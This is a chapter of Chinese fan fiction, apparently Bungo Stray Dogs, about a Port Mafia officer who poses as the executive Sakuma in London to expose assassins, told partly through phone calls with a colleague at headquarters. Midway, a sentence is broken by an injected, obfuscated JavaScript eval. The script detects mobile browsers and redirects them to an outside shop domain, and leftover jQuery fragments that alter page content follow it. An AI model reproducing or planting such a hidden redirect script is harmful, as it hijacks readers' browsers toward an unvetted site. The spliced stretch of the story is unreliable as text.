港口黑手党执意切断和异能特务科的联系,选择独自处理烦人的对手。
果然和犯罪组织还是没什么好说的,毕竟他们不会真正站在同一立场,也就做不到完全相信对方。
想要找到“王女”将横滨视作目标的原因,或许要等到短兵相接之时才能得出答案。
港口黑手党里仍然有前代乃至更早的首领所培养出的精英成员,可那是以前的事了。现在,港口黑手党的高层成员还是激进的武斗派人数占比略优,若非有位干部成员常常能力排众议,连首领都能轻易说服,异能特务科真不知道港口黑手党会在重力使的手上变成什么样子。
难道不是怪事一桩?那群家伙是如何凑到一个组织里的。
其实加入组织太久,很多人都想不起自己为何会成为港口黑手党的成员了。
不过,多余的问题没有思考的必要。
与其回忆过去,不如好好想想要怎么活着回来。
“对吧。难道你真的愿意死在那样的敌人手上。”
屏幕上传输回总部的画面不够清晰,但站在镜头侧面的青年恐怕不会有人不认识。
隔空注视着在最后这段可以清醒的时间,独自呆在房间里的人,钢琴家忍不住发问,“你那么相信他?”
“是的。除了优,谁也做不到。”
从电脑传出的嗓音冷静又坚决,钢琴家没办法指责什么。过度的疯狂和极致的冷静无异,被迫留在本部的他只能祝自己的上司和同事在陌生的“战场”上收获胜利,彻底击溃敌人。
视频影像中的青年戴上耳机,接通了来自远方的电话,朝他告别,“再见。”
现在已经是凌晨两点。
稍晚些,又与一架盘旋在遥远城市上空的飞机完成了行动前的最后一次联络,钢琴家还没打算离开办公室。
……这种时候,任何人都很难放心吧。
他也知道佐久间的目的地是一处正在海上漂泊的豪华邮轮。在今天以前是豪华邮轮。可能今夜过后,就变成了从地狱驶过的诺亚方舟吧。
受异能特务科关注的异能力者极有可能在船上。若是无人阻止,明日一早,邮轮就会靠岸港口。到时候,阻止“王女”的人就变成了异能特务科和他们的帮手。
所以,想在事情变得更严重以前,解决敌人,现在是最好的机会。
海面一望无际,除非上天入地,不然敌人能逃到哪去。这样做的下场是,如果不能将敌人困死在船上,尽数消灭,那么被反制的便是他们自己。
可谁让他的上司和同事都愿意为了这个结果豪赌。在欧洲部门接受培养的家伙们果然脑回路不一般。
“喂,听得见吗。”
“什么事。你现在不是在飞机上吗。”怎么有空联系他。
“也没什么。”对方的语气听起来没什么问题,“听说佐久间已经出发了。被我们骗了的可怜鬼可能会发疯呢。没关系吗。”
没关系,钢琴家说,“更疯的另有其人。”假如有人想对着港口黑手党发疯,首先会被两位干部摁死在地上。
“好吧。”
我暂时不追究佐久间骗我的过错了。
正乘飞机返回横滨的人说。
这到底算什么,干部体验卡?还是升职前的考验。
他总记得佐久间在升任前故意留欧洲部门拖延时间。难怪佐久间那么不乐意。
在回程得以恢复真实身份的青年坐在舒适度有限的座椅上,手边的小圆桌上立着一瓶打开的香槟酒。
终于能放松神经了。
过去的四五天里,公关官每天在欧洲部门都有新发现。
白日无事,他就呆在佐久间的办公室里,绝不出门,夜间有空休息,就靠镜优陪同他回佐久间的家。是的,佐久间的家。那间住所的氛围很温馨,一看便明白佐久间一定是花心思打理过的,怪不得佐久间当初更想留在欧洲部门。
不过,他发现佐久间的部下和水落望音的人完全不熟。紫苑刻和那位叫鸿上律的青年之间,氛围十分友好又礼貌,但这说明他们是初次见面。
……初次见面?
他那时没深入探究。
他以为,常年留在国外的成员和佐久间在国内的部下不熟是正常的,却没想到这预示着自己即将遭受的“灾难”正在徐徐拉开帷幕。
有位年纪尚小的紫发少女敲门后急急忙忙闯入属于佐久间的办公室,但看到坐在椅子上的他后又一脸震惊地冲出走廊。他没看错的话,从少女衣领冒出了一条同样瞪大眼睛的蛇。
听声音,少女在走廊上狂奔着跑远了。
“没关系,我会和她解释。”佐久间的副手如此说。
那位少女的身份,直到敌人上当,袭击以佐久间的身份假装独自出行的他,他都没来得及询问。
提前返回横滨的镜优不知和少女说了什么,总之,看穿他身份的少女没有再来过办公室。最后一次见面时——几个小时前——是他亲眼看到紫发少女在行李舱里悄悄塞了“一点”东西,旁人却全当没看见。
难以想象,少女提着那桶巧克力也健步如飞。
他对着通话那头的好友说,“我知道佐久间曾经四处分发的巧克力来自谁了。”
“我对巧克力的来历不感兴趣。那边是什么情况。”
啧。
一提到这个,公关官就觉得佐久间戏耍别人的手段逐渐高明了起来。
“首先,我必须说,水落望音不在欧洲部门。也就是说——”
近五天的时间,整个欧洲部门都没有干部成员负责统揽事务。佐久间留了紫苑刻和镜优代替他,而那位他并不了解的干部成员则留下了那名叫鸿上律的人。
“其实我知道水落望音不在,因为他要和佐久间汇合。那艘邮轮上据说有个能力让人头疼的家伙,在保护能摧毁他人人格的异能力者。他们两个在等待时机。”
“……你知道,却不提前和我说?”
“说了又有什么用呢?难道真的指望你去当欧洲部门的代负责人吗。”
通话一度陷入沉寂。
“说说你遇到的刺杀吧。我对这个更感兴趣。”
哼。
为自己倒了杯酒的人冷哼一声。
“只要你和佐久间彻底交换彼此的职权,就能体会到被刺杀的快感了。”
“在你眼里,我是那种心理变态人士吗。”
“谁知道呢。”
针对干部成员的刺杀必定凶险而有来无回,刺杀者们早就做好了牺牲的准备。但他们为何会为杀死佐久间而甘愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023256|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
付出生命,还有点让人想不通。毕竟港口黑手党、横滨和“王女”本没有任何关系。
公式化反击。
“假如在场的是佐久间,他必定会这么做。”
就像严格按照规章制度生产商品的技术工,每一道流程已经被前人控制得没有多余的优化环节,佐久间只要按部就班,就能扫清面前的一切障碍。倘若敌人真的是奔着佐久间而来的,那么只要好好调查过佐久间的战斗习惯和能力缺陷,就有机会击溃组织的干部了。
只是有机会而已。
“可惜了,我不懂佐久间的公式化战斗流程,实在是没办法走进他们的圈套中。”
佐久间是半夜出门吗?
他这么问留在欧洲部门的紫苑刻。
一般会在晚上行动,“工作有需要的话,白天也会出门。”
他对紫苑刻的回答说不上满意,但毕竟对方也给了他答案,他便带着那把如今已经成为佐久间个人标志的伞——当然是假的。真正的那把异能武器在哪,除了佐久间本人,谁也不知道——从欧洲部门的总部独自离开。
他上次来伦敦还是因为一部电影的事。有段时间了。
对“王女”组织的人而言,今日站在伦敦街头的人是他,难道不是很精彩也很让他们绝望的一步棋吗。
他们的“聪明才智”根本无处发挥。
他可是有努力表演出佐久间的气质,虽然还是少了那一点旁人学不走的幽默,仅仅这一点的区别,也不至于会让敌人区分开两个身高相仿、穿着厚冬装看不出体型、又故意模仿目标人物常见衣服搭配的人。
非亚裔的人,多少都会有点分不清亚裔的长相。
和他擦肩而过的人们被光点包围着。
光芒穿透雾气,在白日里也极其亮眼。
很多。街角的“流浪汉”,手牵着手但脑袋凑在一起的异性情侣,像瘾君子在街头发疯的男人,还有收拾摊位杂物的小商贩。
对他抱有杀意的人瞬间便暴露在歼灭部队成员眼中。
仿佛剧中的反派在舞台上被聚光灯照亮,连影子也只剩脚下小小的一片。在训练有素的歼灭部队成员看来,这像在地下训练场对着活靶子训练吧。
“我只是看起来一个人出门而已。佐久间在我身边留了不少他信任的人。”
虽然佐久间隐瞒情报的事颇有微词,但既然佐久间已经去了更危险的地方,无论说什么,都显得他太没人情。
“只能祝他好好活着了。”
电话那头的人依旧沉默着。
公关官也不再说话,深思起这一整件事来。
可还没等他想明白,那头并没有挂掉电话的人突然说,“你知道吗。”
知道什么。
别说你和佐久间瞒着我做了别的。
钢琴家的声音听起来格外愉悦。
“不是哦。是我们的首领。”
其实他是和你同一日离开的。
也正和你一样,乘坐飞机,存在于这个世界的某处。可能在任何一个地方,但唯独不会在横滨。
“……佐久间对自己人都要瞒?”
他是卧底吗,佐久间,他是敌方组织的卧底吗?他想这么质问。
“真巧,我之前也是这么想的。”